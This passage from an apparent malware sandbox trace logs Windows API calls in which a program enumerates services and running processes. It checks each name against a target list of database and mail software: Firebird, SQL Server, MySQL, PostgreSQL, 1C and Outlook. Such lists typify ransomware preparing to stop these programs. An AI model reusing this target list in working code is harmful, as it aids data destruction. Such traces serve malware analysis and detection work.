pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0050.525] GetLastError () returned 0xea [0050.525] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0050.525] EnumServicesStatusExW (in: hSCManager=0x566d90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0050.526] CloseServiceHandle (hSCObject=0x566d90) returned 1 [0050.527] lstrlenW (lpString="Appinfo") returned 7 [0050.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.527] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.527] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.527] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.527] lstrlenW (lpString="AudioSrv") returned 8 [0050.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.527] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.527] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.527] lstrlenW (lpString="BFE") returned 3 [0050.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.527] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.527] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.527] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.527] lstrlenW (lpString="CryptSvc") returned 8 [0050.527] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.527] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.527] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.527] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.528] lstrlenW (lpString="CscService") returned 10 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.528] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.528] lstrlenW (lpString="DcomLaunch") returned 10 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.528] lstrlenW (lpString="Dhcp") returned 4 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.528] lstrlenW (lpString="Dnscache") returned 8 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.528] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.528] lstrlenW (lpString="DPS") returned 3 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.528] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.528] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.528] lstrlenW (lpString="eventlog") returned 8 [0050.528] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.528] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.528] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.529] lstrlenW (lpString="EventSystem") returned 11 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.529] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.529] lstrlenW (lpString="gpsvc") returned 5 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.529] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.529] lstrlenW (lpString="iphlpsvc") returned 8 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.529] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.529] lstrlenW (lpString="LanmanServer") returned 12 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.529] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.529] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.529] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.529] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.529] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.529] lstrlenW (lpString="lmhosts") returned 7 [0050.529] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.529] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.530] lstrlenW (lpString="MMCSS") returned 5 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.530] lstrlenW (lpString="MpsSvc") returned 6 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.530] lstrlenW (lpString="Netman") returned 6 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.530] lstrlenW (lpString="netprofm") returned 8 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.530] lstrlenW (lpString="NlaSvc") returned 6 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.530] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.530] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.530] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.530] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.530] lstrlenW (lpString="nsi") returned 3 [0050.530] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.531] lstrlenW (lpString="PcaSvc") returned 6 [0050.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.531] lstrlenW (lpString="PlugPlay") returned 8 [0050.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.531] lstrlenW (lpString="Power") returned 5 [0050.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.531] lstrlenW (lpString="ProfSvc") returned 7 [0050.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.531] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.531] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.531] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.531] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.531] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.531] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.531] lstrlenW (lpString="RpcSs") returned 5 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.532] lstrlenW (lpString="SamSs") returned 5 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.532] lstrlenW (lpString="Schedule") returned 8 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.532] lstrlenW (lpString="SENS") returned 4 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.532] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.532] lstrlenW (lpString="Spooler") returned 7 [0050.532] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.532] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.532] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.532] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.532] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.533] lstrlenW (lpString="swprv") returned 5 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.533] lstrlenW (lpString="SysMain") returned 7 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.533] lstrlenW (lpString="Themes") returned 6 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.533] lstrlenW (lpString="TrkWks") returned 6 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.533] lstrlenW (lpString="UxSms") returned 5 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.533] lstrlenW (lpString="VSS") returned 3 [0050.533] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.533] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.533] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.533] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.533] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.534] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.534] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.534] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.534] lstrlenW (lpString="Winmgmt") returned 7 [0050.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.534] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.534] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.534] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.534] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.534] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.534] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.534] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.534] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.534] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0050.534] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x200 [0050.537] Process32FirstW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.538] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.538] lstrlenW (lpString="System") returned 6 [0050.538] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.538] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.538] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.539] lstrlenW (lpString="smss.exe") returned 8 [0050.539] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.539] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.539] lstrlenW (lpString="csrss.exe") returned 9 [0050.539] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.539] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.539] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.540] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.540] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.540] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.540] lstrlenW (lpString="wininit.exe") returned 11 [0050.540] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.540] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.540] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.540] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.541] lstrlenW (lpString="csrss.exe") returned 9 [0050.541] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.541] lstrlenW (lpString="winlogon.exe") returned 12 [0050.541] Process32NextW (in: hSnapshot=0x200, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, 